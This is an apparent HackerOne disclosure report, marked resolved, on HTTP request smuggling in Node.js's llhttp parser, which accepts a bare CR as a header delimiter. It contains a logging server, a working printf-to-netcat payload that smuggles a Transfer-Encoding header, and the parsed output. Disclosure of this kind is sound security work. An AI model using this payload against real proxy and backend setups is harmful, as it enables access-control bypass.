HTTP Request Smuggling via Empty headers separated by CR
Medium
N
Node.js
Submitted None
Actions:
Reported by
yadhukrishnam
Vulnerability Details
Technical details and impact analysis
**Summary:**
The `llhttp` parser in the http module in Node v20.2.0 does not strictly use the CRLF sequence to delimit HTTP requests. This can lead to HTTP Request Smuggling (HRS).
**Description:**
The CR character (without LF) is sufficient to delimit HTTP header fields in the llhttp parser. According to RFC7230 section 3, only the CRLF sequence should delimit each header-field.
## Steps To Reproduce:
*Server:*
```javascript
const http = require("http");
http
.createServer((request, response) => {
let body = [];
request
.on("error", (err) => {
response.end("Request Error: " + err);
})
.on("data", (chunk) => {
body.push(chunk);
})
.on("end", () => {
body = Buffer.concat(body).toString();
// log the body to stdout to catch the smuggled request
console.log("Response");
console.log(request.headers);
console.log(body);
console.log("---");
response.on("error", (err) => {
// log the body to stdout to catch the smuggled request
response.end("Response Error: " + err);
});
response.end(
"Body length: " + body.length.toString() + " Body: " + body
);
});
})
.listen(5000);
```
*Payload:*
1. Execute the below command.
```shell
printf "POST / HTTP/1.1\r\n"\
"Host: localhost:5000\r\n"\
"X-Abc:\rxTransfer-Encoding: chunked\r\n"\
"\r\n"\
"1\r\n"\
"A\r\n"\
"0\r\n"\
"\r\n" | nc localhost 5000
```
2. Note that the value of `X-Abc` header in the request is - `[\r]xTransfer-Encoding: chunked[\r\n]`
3. The llhttp library parses this as a `Transfer-Encoding: chunked` header.
```
Response
{ host: 'localhost:5000', 'x-abc': '', 'transfer-encoding': 'chunked' }
A
---
```
*Note:*
1. The next character to `\r` is missing in the parsed header name.
2. This test case is missing from https://github.com/nodejs/llhttp/blob/main/test/request/invalid.md.
A frontend proxy that does not consider `\r` as termination of an HTTP header value, could forward this to a backend, causing an HRS.
## Supporting Material/References:
This report is similar to:
* https://hackerone.com/reports/1888760
## Impact
HTTP Request Smuggling can lead to access control bypass.
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Submitted
Weakness
HTTP Request Smuggling